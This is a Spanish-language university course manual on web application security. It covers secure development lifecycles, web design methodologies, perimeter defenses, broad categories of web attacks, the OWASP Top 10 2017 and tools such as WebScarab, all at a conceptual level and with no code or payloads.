Manual de Seguridad de Aplicaciones Web
Manual de Seguridad de Aplicaciones Web
Aplicaciones
SEGURIDAD DE APLICACIONES 2
Índice
Presentación 7
Red de contenidos 9
Unidad de Aprendizaje 1 11
INTRODUCCIÓN A LA SEGURIDAD DE APLICACIONES
1.1 Tema 1 : Introducción a la seguridad de aplicaciones 13
1.1.1 : Tendencias de ataques Web 13
1.1.2 : Seguridad SDLC 18
1.1.3 : Metodologías y proyectos Web 20
1.1.4 : Tecnologías de defensa y ataque 32
44
Bibliografía Unidad de Aprendizaje 1
Unidad de Aprendizaje 2 45
OWASP TOP 10 2017 RC2
2.1 Tema 2 : OWASP Top 10 47
2.1.1 : Introducción a OWASP Top 10 47
2.1.2 : OWASP Top 10 2013 vs OWASP Top 10 2017 RC 2 49
2.1.3 : Análisis dinámico y estático 53
2.1.4 : Herramientas OWASP 57
165
Bibliografía Unidad de Aprendizaje 2
206
Bibliografía Unidad de Aprendizaje 3
Presentación
El software inseguro está debilitando las finanzas, salud, defensa, energía y otras
infraestructuras críticas. A medida que la infraestructura digital se hace cada vez más
compleja e interconectada, la dificultad de lograr la seguridad en aplicaciones aumenta
exponencialmente. Es por ello, que la industria de TI requiere profesionales entrenados
en el desarrollo seguro de software y aplicaciones Web, que aseguren la calidad del
producto basándose en metodologías y estándares como el reconocido OWASP Top
10, el cual es un poderoso documento de concienciación para la seguridad en
aplicaciones Web y representa un amplio consenso sobre las 10 fallas de seguridad más
críticas, analizadas por expertos en seguridad alrededor del mundo, quienes comparten
sus experiencias para producir esta fabulosa guía.
El manual del curso ha sido diseñado bajo la modalidad de unidades de aprendizaje, las
que se desarrollan durante semanas determinadas. Cada unidad de aprendizaje se
encuentra desarrollada para cumplir con objetivos de aprendizaje que se deben alcanzar
al finalizarla; para esto, el tema tratado es desarrollado considerando los alcances del
presente curso. Por último, contiene una serie de actividades que deberá desarrollar el
estudiante para reforzar lo aprendido en clase.
Red de contenidos
SEGURIDAD DE
APLICACIONES
INTRODUCCIÓN A LA SEGURIDAD DE APLICACIONES
•Introducción a la Seguridad de aplicaciones
UNIDAD
1
INTRODUCCIÓN A LA
SEGURIDAD DE APLICACIONES
LOGRO DE LA UNIDAD DE APRENDIZAJE
Al término de la unidad, el alumno, identifica las metodologías y estándares de
seguridad en el desarrollo de aplicaciones y reconoce las tecnologías de
defensa y ataque.
TEMARIO
ACTIVIDADES PROPUESTAS
Los cibercriminales realizan cada vez ataques más sofisticados y dirigidos, los cuales
seguirán creciendo a medida que se expande el internet de las cosas (IoT). Dentro de
los incidentes más destacados del 2016, se encuentran:
En junio, un cibercriminal bajo el apodo “Peace” se hizo conocido por publicar datos de
millones de usuarios de LinkedIn, Tumblr y MySpace. Más de medio billón de
contraseñas estuvieron disponibles en línea. Según Wired, el listado incluía 167 millones
de cuentas de usuarios de LinkedIn, 360 millones de MySpace, 68 millones de Tumblr,
100 millones de la red social rusa VK.com y 71 millones de Twitter, sumando más de
800 millones de cuentas y creciendo. Entre los afectados hubo figuras conocidas como
el CEO de Facebook Mark Zuckerberg, los cantantes Katy Perry y Drake y el cofundador
de Twitter Biz Stone, entre otros.
En septiembre, Yahoo! fue víctima de lo que luego se describió como “la brecha más
grande en la historia”. La compañía tuvo que admitir que a cerca de 500 millones de
clientes les podrían haber robado sus datos, incluyendo información sensible como
nombres, direcciones de correo electrónico, números de teléfono y contraseñas. Este
no era la primera brecha de Yahoo! en lo que concierne a ciberseguridad, ya que
también había sido atacada en 2014.
Figura 4: Yahoo! Fue víctima de robo de datos personales de 500 millones de clientes.
Fuente. - https://gestion.pe
Cuando se creía que Yahoo! había sufrido la brecha más grande de la historia, los días
14 y 15 de diciembre sale a la luz un incidente sin precedentes. La misma compañía
anunció esta vez que cerca mil millones de cuentas de usuarios podrían haber sido
comprometidas. Bob Lord, jefe de seguridad de la información en Yahoo!, dijo que este
incidente ocurrió en agosto de 2013. La información robada incluye nombres,
direcciones de correo electrónico, números de teléfono, fechas de nacimiento y
contraseñas.
En octubre, se alertó sobre ataques que apuntaban a routers de Brasil, aunque podrían
ser localizados a cualquier otro país. Si bien estaban ocurriendo desde 2012, los riesgos
que conllevan son mayores a medida que el número de equipos conectados aumenta.
Se aprovecha el fácil acceso que brindan los usuarios al dejar las credenciales por
defecto en sus routers, o bien en explotar vulnerabilidades en su firmware. Con acceso
permitido al router, los atacantes pueden iniciar sesión y verificar la red en busca de
otros dispositivos conectados, como SmartTVs, sistemas de control hogareño y
heladeras inteligentes.
En abril tuvo lugar uno de los ciberataques más impactantes del año. Un acceso no
autorizado a la base de datos de la Comisión Filipina de Elecciones (COMELEC) resultó
en la pérdida de información personal de todos los votantes en Filipinas, lo que equivale
a 55 millones de personas aproximadamente. La información, supuestamente filtrada
por Anonymous Philippines, fue puesta a disposición online por Lulzsec Pilipinas.
Aunque el ciclo de vida del software (SDLC) es conocido por cualquier desarrollador,
debido a graves brechas de seguridad de algunas aplicaciones que dañaron la imagen
de importantes compañías, se empezó a incorporar la seguridad a este ciclo de vida,
dando lugar al S-SDLC.
El S-SDLC incorpora ciertas tareas básicas que permiten desarrollar software de calidad
desde el propio inicio del proyecto, contemplando los servicios de seguridad como
confidencialidad, integridad y disponibilidad. Se recomienda seguir los distintos
estándares existentes como la ISO 27034 o la NISTIR 7628. ya que son una buena base
para iniciar cualquier proyecto que quiera contemplar la seguridad dentro de su
desarrollo.
A continuación, una breve visión sobre cada una de las nuevas actividades que se incluyen
dentro de las fases del SDLC. Estas fases van a ser: Toma de requisitos, Diseño,
Codificación, Pruebas y Despliegue:
Toma de requisitos
Requisitos de seguridad
En esta fase se deben añadir a todos los requisitos del proyecto, los propios requisitos
de seguridad que surjan, como pueden ser la gestión de password y autenticación, la
gestión de roles, los requisitos de conocimientos del equipo, el sistema de logs.
Todo ello no son parte directa del diseño funcional de la aplicación, pero son necesarios
para evitar incidentes futuros.
Evaluación de Riesgos
Se deben contemplar riesgos en esta fase como la cesión de datos a terceros, la política
de confidencialidad, los planes de recuperación ante desastres o la seguridad de los
datos de los usuarios.
Diseño
Resolver los requerimientos de seguridad
Una vez identificados los requerimientos, durante esta fase, se deberán diseñar las
medidas de actuación para los requisitos de seguridad detectados anteriormente. Por
ejemplo, se deberá resolver casos como el de la política de contraseñas: se tendrá que
determinar si se prefieren contraseñas largas y con pocos cambios o si por el contrario
se prefieren cortas y de una menor duración.
En esta fase, el diseño debe tener una segunda revisión vista desde el prisma de la
seguridad en el que se traten temas como el cifrado de las comunicaciones, el cifrado de
los datos o el uso del cloud en caso de ser contemplado. Por ejemplo, una aplicación de
cálculo de nóminas puede subir toda la información de los usuarios directamente a la
nube, o puede subir únicamente el cálculo de las operaciones, dejando los datos
privados y confidenciales en nuestro servidor local. En esta fase se debe revisar todo
este tipo de circunstancias y buscar la solución que mejor se adecue a nuestro caso.
Modelado de amenazas
Es la representación estructurada de toda la información que afecta a la seguridad de
una aplicación, buscando capturar, organizar y analizar esta información para tomar
decisiones informadas sobre los riesgos de seguridad en las aplicaciones.
Codificación
Buenas prácticas
Todos los desarrolladores, en menor o mayor medida, suelen seguir unos patrones
propios al realizar código. Lo que se busca en este punto es que el equipo de
desarrolladores siga una serie de medidas comunes, como pueden ser el manual de
código de buenas prácticas del CERT o de OWASP o las guías de safecode.
En este punto, se debe tener en cuenta que hay funciones de código que se consideran
inseguras, en el siguiente enlace, se puede ver alguna de las funciones baneadas por
Microsoft: https://msdn.microsoft.com/en-us/library/bb288454.aspx
Pruebas
Evaluación de vulnerabilidades
Ayuda a identificar rápidamente y a tomar medidas contra los puntos más vulnerables de
nuestro software, detectando las vulnerabilidades críticas que deben investigarse
inmediatamente y los elementos informativos que presentan un riesgo menor.
Fuzzing
Se conoce como Fuzzing a la técnica de prueba de software que genera y envía datos
secuenciales o aleatorios a una aplicación, con el objeto de detectar defectos o
vulnerabilidades existentes. Con esta técnica se consigue ver las excepciones que
devuelve nuestro equipo y posibles problemas no contemplados. Por ejemplo, con esta
técnica se detectan algunos stackoverflow o la reacción de nuestro programa al recibir
campos incorrectos como por ejemplo un float en vez de un integer.
Despliegue
Revisión de la configuración del servidor
Antes de subir la aplicación a producción, hay que revisar que la configuración sea
correcta a nivel de seguridad, evitando errores comunes como devolver más información
de la debida en caso de error. Con esto queremos decir que, en algunas ocasiones,
debido a una mala configuración de nuestra red, el atacante puede conseguir información
adicional que le ayude a preparar su ataque contra nuestra aplicación.
Las metodologías de desarrollo de software son un marco de trabajo eficiente que surgió
en la década de los años 70, pues ofrecían una respuesta a los problemas que surgían
con los antiguos métodos de desarrollo. Estos se enfocaban en la creación de software
sin el control apropiado de las actividades del grupo de trabajo, lo que provocaba un
producto lleno de deficiencias y problemas resultando en la insatisfacción del cliente,
pues se le ofrecía un software que no cumplía con sus necesidades.
En base a esta comparativa se puede verificar que las metodologías más utilizadas
abarcan una mayor cantidad de criterios y/o elementos de casi todas las metodologías.
Estas permiten concentrar sus esfuerzos en aspectos Web a diferencia de las otras las
cuales se centran en brindar soluciones a problemas de carácter específico. A partir del
análisis de la información y comparación en el marco de desarrollo del estado de arte
se obtuvo como resultados que la metodología OOHDM es la que cumple con casi todos
los criterios que se plantearon en base a otras investigaciones donde se realizaron
estudios similares, permitiendo determinar una metodología de desarrollo general que
cumpla las características óptimas en la construcción de aplicaciones Web.
Aplicaciones Web
Según el análisis de la figura 12, se puede mencionar que las aplicaciones Web son
herramientas que permiten realizar operaciones desde un ordenador a través de la
utilización del Internet logrando que se reduzca el tiempo empleado en cada actividad.
Este es uno de los aspectos positivos que ha permitido la aceptación y usabilidad de
este tipo de software por parte de los usuarios.
Las aplicaciones Web usan el formato estándar HTML (HyperText Markup Language o
Lenguaje de Hipertextos) para efectuar las peticiones que el usuario desea, y otra
característica favorable de este software es que permite un acceso simultaneo a sus
operaciones, es decir más de un usuario puede acceder a la vez al sistema, esto lo
realiza mediante una combinación de procesos y comunicaciones internas con la base
de datos.
Como se puede apreciar en la figura 13, las metodologías de desarrollo Web, al igual
que otras metodologías contemplan una serie de actividades y fases que permiten
modelar la construcción de la aplicación, con el fin de entregar un producto de calidad,
confiable, funcional y correctamente estructurado.
Es importante mencionar que las metodologías Web centran sus esfuerzos en los
usuarios de la aplicación debido a que ellos son los principales actores y críticos. Por lo
general, en las primeras etapas, es donde se buscan los perfiles o clases de usuarios
que navegarán en la aplicación. Otro aspecto relevante que se trabaja es el diseño, pues
este abarca criterios de usabilidad y accesibilidad los mismos que se enfocan en la
manipulación del sistema, adaptación, aprendizaje, y tecnología. Entre las fases que se
encuentran diseño conceptual, diseño navegacional, diseño de la interfaz, implantación,
pruebas, evaluación del cliente entre otras.
Esta metodología es reciente y no ha tenido mucho uso por parte de los desarrolladores
debido a que el mercado lo ocupa OOHDM, entre las ventajas la más importante que se
puede mencionar es que brinda mayor importancia al tratamiento de los requisitos, y
para ello utiliza los escenarios como medio de obtención y definición de ellos. En
relación al proceso de gestión de desarrollo de software SOHDM presenta 6 fases las
cuales se muestran en la ilustración.
Con respecto a la figura 17, se puede indicar que WSDM o Método de Diseño para Sitios
Web, es una propuesta que se enfoca en el usuario para el desarrollo del sitio Web, y
que además modela la aplicación en base a los requerimientos de cada grupo o clases
de usuarios. Esta metodología contiene 4 fases las cuales se muestran en la figura 18.
Según los autores la metodología OOHDM cuyas siglas en español son Método de
Diseño e Hipermedia Orientado a Objetos, tiene similitud en sus características con la
HDM con la única diferencia de que tiene un proceso que indica las actividades a
ejecutar y el producto o entregable que debe hacerse al finalizar una fase. Este método
toma como punto de partida el modelo de clases obtenido durante la primera fase del
desarrollo de software denominado modelo conceptual, además permite modelar
aplicaciones de grandes tamaños o con grandes volúmenes de información y pueden
ser usados en diversos tipos de aplicaciones navegables, sitios Web, sistemas de
información o presentaciones multimedia.
OOHDM es una de las metodologías que más se utilizan hoy en día debido a que
permiten reducir los tiempos de desarrollo, reutilizar diseño, simplificar la evolución y el
mantenimiento de la aplicación. Las fases de esta metodología según los autores
(Barranco de Areba, 2001) y (Vilariño de Almeida, 2010) se pueden apreciar en la
siguiente imagen.
Algo que propone esta metodología dentro de sus 4 fases establecidas es la posibilidad
de añadir la representación del sistema en todos los aspectos propios de las
aplicaciones Web, por lo cual ha tenido mucha aceptación y quizás la mayor usabilidad
por parte de los desarrolladores al momento de comenzar su proyecto de desarrollo de
software.
Según José Escalona y Nora Koch, UWE (UML basado en Ingeniería Web) es una
metodología que abarca todos los procesos de la construcción de las aplicaciones Web,
sin embargo, se centra más en la recopilación y validación de requisitos (funcionales y
no funcionales) dando como resultado un modelo de casos de uso y documentación
acerca de los usuarios del sistema, casos de uso e interfaz.
En la figura 26, se muestra una comparación de diseño basados en los tres niveles
típicos del desarrollo Web: conceptual, estructural y visible.
RESULTADOS
El desarrollo de la tecnología digital por medio del uso de internet ha permitido que las
aplicaciones Web se hayan incrementado de forma imparable, y con ello múltiples
metodologías de desarrollo han surgido para ofrecer un producto final de calidad. Entre
estas metodologías se destacan los grupos de las tradicionales y las ágiles, las cuales
ofrecen grandes beneficios para el grupo de trabajo, siendo la ágil la más óptima para
adoptarla en las empresas de desarrollo Web, pues reduce el tiempo y esfuerzo que se
emplea, como se aprecia en la investigación. Otro factor importante que resalta la
elección de las metodologías ágiles es la flexibilidad en su proceso de desarrollo, la
generación de documentación eficiente y una serie de tareas reducidas. Aunque esto
se pudo comprobar, no es posible descartar que la metodología tradicional no sea
utilizada por numerosas empresas de desarrollo y que la eficiencia tanto como la calidad
del producto sea menor al ofrecido en la utilización del método ágil. El proceso ágil es
una metodología que se adapta a los cambios de las necesidades del cliente, por ello
consigue mejorar el proceso de desarrollo de software al contrario de la metodología
tradicional, además de ser más comprensible para el grupo de desarrollo lo cual la
convierte en el tipo de metodología en la más adaptable al proceso de desarrollo Web.
DISCUSIÓN
Las opiniones y resultados obtenidos por los autores han llevado al análisis de distintos
métodos de desarrollo de aplicaciones Web, siendo el más óptimo para el desarrollo de
aplicaciones Web el método OOHDM, debido a que establece los niveles conceptuales,
estructurales y visibles de una mejor manera y además son indispensables en una
aplicación Web según Escalona (2002), además de ofrecer completitud, fiabilidad,
facilidad de uso.
CONCLUSIONES
Con base a los resultados que fueron obtenidos a partir de la investigación realizada, se
concluye que en la actualidad han surgido diversas metodologías orientadas al
desarrollo y modelado Web, las cuales contienen grandes similitudes entre sí, al buscar
el desarrollo y mejorar el proceso repercutiendo en la calidad del producto Web. Es por
ello que en muchas investigaciones se han realizado comparativas tomando en cuenta
los procesos abarcados en el ciclo de vida, la calidad del proceso, el modelamiento,
entre otras.
En las metodologías ágiles se observó que la OOHDM cumple como el método más
óptimo en el desarrollo de aplicación Web debido a que facilita el trabajo dentro del
equipo desarrollador y agiliza los procesos optimizando sus etapas, además de
contemplar más etapas en el ciclo de vida de desarrollo y precisa el modelado de
objetos.
Cuando hablamos de la seguridad de sitios Web, como cualquier otro dominio, vemos
la seguridad de manera integral. El uso de una estrategia de defensa en profundidad
facilita este proceso. Una buena estrategia de defensa en profundidad no sólo se refiere
a la profundidad de los controles defensivos, pero también tiene en cuenta el rango de
superficie de ataques y sus diferentes herramientas. Este enfoque proporciona una
imagen más precisa del panorama de las amenazas actuales e ilustra claramente que
el problema se extiende mucho más allá de la aplicación o sus componentes
extensibles.
Por último, es imprescindible entender la diferencia entre una herramienta que emplea
defensa en profundidad en su diseño y en su solución y una adecuada estrategia de
defensa en profundidad que se debe implementar en una organización.
Mecanismos de defensa
Los mecanismos de seguridad perimetral más conocidos son: DMZ, servidor proxy,
firewall, IDS/IPS, VPN, honeypot, pasarelas antivirus y antispam, SIEM.
Zona segura que se ubica entre la red interna de una organización y una red externa
(generalmente en Internet).
En general, las conexiones desde la DMZ solo se permiten a la red externa, es decir,
los equipos (hosts) en la DMZ no pueden conectar con la red interna.
Se emplea para alojar servidores a los que es necesario acceder desde fuera, es
decir, servicios públicos como correo electrónico, FTP, Web o DNS que serán
expuestos a los riesgos de seguridad.
Creada mediante uno o dos cortafuegos que restringe/n el tráfico entre las tres
redes.
Servidor proxy
Algunos tipos son Web (interviene en la navegación por la Web), FTP y ARP (puede
hacer de enrutador entre ordenadores, ya que hace de intermediario entre ellos).
Firewall
Utiliza 3 reglas básicas: deny (bloquear conexión), allow (autorizar conexión), drop
(redireccionar petición de conexión sin avisar).
Suele tener sensores virtuales con los que el núcleo del IDS puede obtener datos
externos.
Detecta, gracias a dichos sensores, las anomalías que pueden ser indicio de la
presencia de ataques y falsas alarmas.
No está diseñado para detener ataques, aunque sí puede generar ciertos tipos de
respuesta ante éstos.
Métodos de detección
Tipos
Ejemplos de NIDS
Ejemplos de HIDS
Miscelánea
o Herramientas FIM (File Integrity Monitoring) que no llegan a ser IDS: AIDE,
OS Tripwire y Afick.
o Distribución de Linux en el que testear la gran mayoría de IDS OpenSource:
Security Onion.
Es una extensión de los IDS, más cercano a la tecnología firewall. Ofrece protección
proactiva.
Toma decisiones del control de acceso en tiempo real en una red informática
basadas en los contenidos del tráfico para proteger a los sistemas computacionales
de ataques y abusos, es decir, analiza los datos de cualquier posible ataque y
establece políticas de seguridad.
Tipos
Métodos de detección
Tecnología que permite una extensión segura de la red LAN sobre una red pública o no
controlada como Internet, como si fuera una red privada y con toda su funcionalidad,
seguridad y políticas de gestión de una red privada.
Existen multitud de protocolos, entre ellos IPSec (el más empleado), PPTP, L2F,
L2FP, SSL/TLS, SSH, etc. Cada uno con sus ventajas y desventajas de
seguridad, facilidad y mantenimiento.
Características
Arquitecturas de conexión
Una vez se autentifica un usuario de forma remota, tiene un nivel de acceso muy
similar al que tiene dentro de la red de la empresa.
Basado en las conexiones desde un eje o núcleo central y los servidores de otras
oficinas remotas en lugares distantes.
Tunneling
Se crea un túnel (PDU dentro de otra PDU) para poder acceder a dispositivos,
pasando toda comunicación IP de modo inseguro a seguro a través de dicho
túnel.
Es una variante del tipo “acceso remoto”, pero en vez de utilizar Internet como
medio de conexión, utiliza la propia red LAN de la empresa.
Permite aislar zonas y servicios de la red interna, lo cual lo hace muy conveniente
para mejorar las prestaciones de seguridad de las redes Wireless.
Honeypot
Se coloca en una red para ser el objetivo de un posible ataque informático, con el
objetivo de detectarlo antes de que afecte a sistemas críticos, obtener información
del mismo y del atacante sin interferir en el proceso, alertar de su existencia, incluso
ralentiza el ataque y proteger el resto del sistema.
Pasarela AV/AS
Categorización de dudoso spam por filtros personalizables por cada usuario, gestión
de los mails marcados como sospechosos, listas blancas y negras por usuario,
corrección con memoria de falsos positivos y negativos.
SIEM
Proporciona análisis en tiempo real de las alertas de seguridad generadas por las
aplicaciones y el hardware de red.
Capacidades
Agregación de datos: desde una gran cantidad de fuentes de datos (eventos), que
pueden ser servidores, dispositivos de red, IoT, PCs, móviles y cualquier dispositivo
que se pueda conectar a la red. Estos datos y su estudio son lo que permite
identificar los eventos de seguridad y actividades sospechosas/maliciosas o
defectos/fallos de seguridad.
Ataques Informáticos
Los ataques informáticos están a la orden del día. Cada vez son más los ciberataques
que se producen vulnerando la privacidad y la seguridad informática de los millones de
usuarios que se conectan a la red a diario. Por esto, es de suma importancia, tomar
medidas de ciberseguridad.
Tipos de ciberataques
Los ciberataques en móviles son posibles, y se encuentran en aumento día a día. Estos,
pueden ser causados por malware móviles, brechas en la seguridad de las compañías
o por usar redes wifi públicas que no dispongan de contraseña.
Las páginas Web dado su carácter público son un foco perfecto para los atacantes.
Basados en varios aspectos técnicos del sitio, determinan de qué forma pueden obtener
el control parcial o total de este y utilizarlo para sus propósitos. A continuación, se
nombran algunos de los principales tipos de ataques que pueden utilizarse para tal fin:
Cross Site Scripting (XSS): Se basan en insertar código o script en el sitio Web
de la víctima, y hacer que el visitante al ingresar al sitio lo ejecute y cumpla el
cometido para el que fue escrito, como robo de sesiones o datos vulnerables.
Inyección de código: Este tipo de ataques inyecta código fuente como SQL,
SSI, HTML al sitio Web atacado, cambiando su funcionalidad original o revelando
datos que se encuentran almacenados en las bases de datos que utilizan.
Fuga de información: Este más que ser un ataque, es un error del administrador
del sitio, el cual consiste en dejar público el registro de errores, lo que facilita al
atacante ver las fallas exactas del sistema, tomar provecho de estas, y obtener
el control parcial o total del sitio.
Al igual que una persona del común que anda por la calle, entre el tráfico y la gente,
cualquier usuario conectado a Internet está expuesto a riesgos de seguridad, y de él
depende estar protegido y atento para no ser víctima de un ataque virtual.
Resumen
1. El S-SDLC incorpora ciertas tareas básicas que permiten desarrollar software de
calidad desde el propio inicio del proyecto, contemplando los servicios de seguridad
como confidencialidad, integridad y disponibilidad. Se recomienda seguir los
distintos estándares existentes como la ISO 27034 o la NISTIR 7628. ya que son
una buena base para iniciar cualquier proyecto que quiera contemplar la seguridad
dentro de su desarrollo.
Pueden revisar los siguientes enlaces para ampliar los conceptos vistos en esta unidad:
o https://gestion.pe/tendencias/10-incidentes-seguridad-importantes-ano-
126283?foto=1
o http://wh0s.org/2014/12/07/s-sdlc-aplicando-seguridad-al-ciclo-de-vida-del-
software/
o https://social.technet.microsoft.com/wiki/contents/articles/36676.ciclo-de-vida-de-
desarrollo-seguro-de-software-es-es.aspx
o https://www.3ciencias.com/wp-content/uploads/2017/09/ART-5.pdf
o https://blog.sucuri.net/espanol/2016/10/explicando-la-defensa-en-profundidad-en-
la-seguridad-de-sitios-Web.html
o http://blondbyte.blogs.upv.es/2017/10/componentes-de-la-seguridad-perimetral-en-
redes/
o http://www.iebschool.com/blog/tendencias-ciberseguridad-tipos-ciberataques-
business-tech/
o https://colombiadigital.net/actualidad/articulos-informativos/item/4801-tipos-de-
ataque-y-como-prevenirlos.html
Gestión, R. (2017). Los 10 incidentes de seguridad más importantes del último año.
Gestión. Obtenido de https://gestion.pe/tendencias/10-incidentes-seguridad-
importantes-ano-126283
S-SDLC: Aplicando seguridad al ciclo de vida del Software. (2014). Wh0s. Obtenido de
http://wh0s.org/2014/12/07/s-sdlc-aplicando-seguridad-al-ciclo-de-vida-del-
software/
UNIDAD
2
OWASP TOP 10 2017 RC2
LOGRO DE LA UNIDAD DE APRENDIZAJE
Al término de la unidad, el alumno identifica la metodología OWASP sobre los
10 riesgos más críticos de las aplicaciones Web y recomienda soluciones para
mitigar ataques Web.
TEMARIO
2.5.4 : Remediaciones
ACTIVIDADES PROPUESTAS
Open Web Application Security Project (OWASP) es una organización sin ánimo de
lucro a nivel mundial dedicada a mejorar la seguridad de las aplicaciones y del software
en general. Su misión es hacer que la seguridad dentro de las aplicaciones sea más
visible para que, así, las organizaciones y los particulares puedan tomar decisiones
sobre conceptos de seguridad basándose en información verídica y contrastada.
Global: cualquier persona de cualquier parte del mundo está invitada a participar en
la comunidad de OWASP (se puede aplicar desde un formulario).
Proyectos
Guía OWASP – Un enorme documento que proporciona una guía detallada sobre la
seguridad de las aplicaciones Web.
OWASP Top 10 – Documento de alto nivel que se centra sobre las vulnerabilidades
más críticas de las aplicaciones Web.
ISO 17799 – Documentos de apoyo para organizaciones que realicen revisiones ISO
17799.
Filtros de validación (Stinger para J2EE, filters para PHP) – Filtros genéricos de
seguridad perimetral que los desarrolladores pueden usar en sus propias
aplicaciones.
Proyectos maduros.
Proyectos de nivel medio.
Proyectos nuevos.
Luego de haberse publicado la RC1 en junio del 2017 y de los problemas hallados en la
documentación que, finalmente llevaron a una actualización en la metodología de
recopilación de datos, fue lanzado en octubre la Guía OWASP Top 10 2017 (RC2).
El OWASP Top 10 RC2 ha considerado varios cambios con respecto a su antecesor del
2013 en base a los datos que han recopilado desde el año pasado. Dicho cambio se ve
a continuación:
Figura 32: OWASP Top 10 2013 vs. OWASP Top 10 2017 (RC 2) – versión español.
Fuente. - https://www.dragonjar.org
Las aplicaciones "de una sola página", escritas en JavaScript como Angular y React,
permiten la creación de un front-end altamente modular con experiencias centradas
en el usuario final.
El aumento de las aplicaciones móviles que usan las mismas API que las
aplicaciones de una sola página
Nuevo A4: 2017 - XML External Entity (XXE): nueva categoría soportada
principalmente por los conjuntos de datos SAST.
CSRF: menos del 5% del conjunto de datos fueron CSRF, lo que lo ubicaron
alrededor del puesto 13.
Figura 33: OWASP Top 10 2013 vs. OWASP Top 10 2017 (RC 2) – versión inglés (original).
Fuente. - https://blog.segu-info.com.ar
Las inyecciones pueden ser de tipo SQL, SO, LDAP y otras que ocurren cuando los
datos ingresados a la aplicación Web no son validados adecuadamente y son
interpretados como parte de un comando consulta. Un atacante hostil puede realizar
una inyección para ejecutar comandos peligrosos o acceder a datos sin la autorización
requerida.
Muchas veces las restricciones de lo que lo usuarios están permitidos a hacer no son
apropiadamente aplicadas. Los atacantes pueden explotar estas debilidades para
acceder a funcionalidades o datos de forma no autorizada como acceder a cuentas de
usuarios, ver archivos sensibles, modificar permisos de acceso, y mucho más.
La vulnerabilidad a XSS ocurre siempre que una aplicación incluye datos no validados
al actualizar o redireccionar la página Web para ser procesados como parte de código
JavaScript. Un atacante podría ejecutar scripts en el navegador de la víctima para robar
sesiones, modificar el contenido renderizado en las páginas Web, y generar
redirecciones a sitios maliciosos.
SAST de sus siglas en inglés “Static Analysis Security Testing”, son herramientas de
caja blanca que realizan un análisis muy completo de toda la aplicación, que analizando
el código fuente simulan lo que ocurriría en tiempo de ejecución. Estas toman como
entrada el código fuente y lo transforman, generando representaciones intermedias o
modelos del código fuente, según el caso y a continuación lo analizan contra una serie
de reglas definidas. Ejemplos de estas herramientas son Insight, Fortify SCA o Cx-suite
de Checkmarx.
Asimismo, comprueban todo el código a fondo y coherentemente, una vez se tienen los
resultados, se descartan los falsos positivos.
RAST de sus siglas en inglés “Static Analysis Security Testing, son herramientas de caja
blanca que se utilizan en tiempo real de ejecución inmersas en el servidor de
aplicaciones inspeccionando el entorno de ejecución de los procesos. A diferencia de
SAST, la tecnología RAST abarca una mayor superficie de análisis al ser capaz de
identificar, localizar, organizar y categorizar la criticidad de las vulnerabilidades del
código en tiempo real mientras se ejecuta la aplicación, por tanto, se identifican más
vulnerabilidades y su análisis es más acertado. Ejemplos de estas herramientas son
Acunetix+Acusensor, Fortify Runtime Analysis o Appscan+Glassbox.
Una vez detectada la vulnerabilidad hay herramientas que pueden tomar una de las tres
acciones siguientes:
Generar un informe después de la detección.
Bloquear el intento de ataque
Sanear la petición maligna a la aplicación Web, corrigiendo los valores de
entrada a la aplicación.
DAST de sus siglas en inglés “Dynamic Analysis Security Testing”, son herramientas de
caja negra que se utilizan cuando no se dispone del código fuente de la aplicación. Estos
escáneres de vulnerabilidades de aplicaciones Web lanzarán peticiones malignas contra
los servicios webs con la intención de descubrir todas las vulnerabilidades posibles
analizando las respuestas de las aplicaciones, para ello conforma y adapta las
peticiones abarcando todas las entradas posibles de las aplicaciones. Ejemplos de estas
herramientas son Webinspect, Paros o Cenciz.
Características
Información General
WebScarab está diseñado para ser una herramienta utilizada por cualquier persona
necesitada de exponer el funcionamiento de una aplicación basada en HTTP(S), como
permitir a los desarrolladores depurar problemas difíciles, o permitir a los especialistas
en seguridad identificar vulnerabilidades en la manera de diseñar o implementar una
aplicación Web.
Características
Un framework sin ninguna funcionalidad es inútil, por tal motivo WebScarab proporciona
un número de plugins, principalmente dirigidos a la funcionalidad de seguridad por el
momento. Estos plugins incluyen:
Fragments (Fragmentos): Extrae Scripts y Comentarios HTML desde páginas HTML
cuando son observadas mediante el proxy, u otros plugins.
Proxy: Observa el tráfico entre el navegador y el servidor Web. El proxy de
WebScarab es capaz de observar tráfico HTTP y tráfico cifrado HTTPS, negociando
una conexión SSL entre WebScarab y el navegador en lugar de simplemente
conectar el navegador hacia el servidor y permitir un flujo cifrado atravesándolo.
Diversos plugins del proxy también han sido desarrollados para permitir al operador
controlar las peticiones y respuestas pasando a través del proxy.
Manual Intercept (Interceptación Manual): Permite a los usuarios modificar
peticiones y respuestas HTTP y HTTPS al vuelo, antes de llegar al servidor o
navegador.
BeanShell: Permite la ejecución de operaciones arbitrariamente complejas sobre las
peticiones y respuestas. Todo lo posible de ser expresado con Java puede ser
ejecutado.
Reveal Hidden Fields (Revelar Campos Ocultos): Algunas veces es más sencillo
modificar un campo oculto en una página Web por sí mismo, en lugar de interceptar
la petición después de ser enviada. Este plugin simplemente cambia todos los
campos ocultos encontrados en páginas HTML por campos de texto, haciéndolos
visibles, y editables.
Bandwidth Simulator (Simulador de Ancho de Banda): Permite a los usuarios emular
una red lenta, para observar como el sitio Web podría desempeñarse cuando es
accedido sobre, por decir, un modem.
Spider: Identifica nuevas URLs sobre el sitio objetivo, y los recoge con un comando.
Manual Request (Petición Manual): Permite editar y reenviar peticiones previas, o la
creación completa de nuevas peticiones.
SessionID Analysis (Análisis de Ids de Sesión): Recolecta y analiza un número de
Cookies para determinar visualmente el grado de aleatoriedad e impredicibilidad.
Anotar que este análisis es trivial, y no realiza ninguna comprobación seria, como
FIPS, etc.
Scripted: Los operadores pueden utilizar BeanShell (o cualquier otro lenguaje BSF
soportado encontrado en el “classpath”) para escribir un script, y crear peticiones
para recogerlos desde el servidor. El script puede luego realizar algún análisis sobre
las respuestas, con todo el poder del modelo de objetos de peticiones y respuestas
de WebScarab utilizado para simplificar las cosas.
Parameter Fuzzer: (Fuzzer de Parámetros). Realiza substitución automática de
valores para los parámetros, los cuales probablemente expongan validación
incompleta de parámetros, conduciendo a vulnerabilidades como Cross Site
Scription (XSS) o Inyecciones SQL.
Search (Búsqueda): Permite al usuario crear expresiones BeanShell arbitrarias para
identificar conversaciones que deben ser mostradas en la lista.
Compare (Comparar): Calcula la distancia de edición entre los cuerpos de respuesta
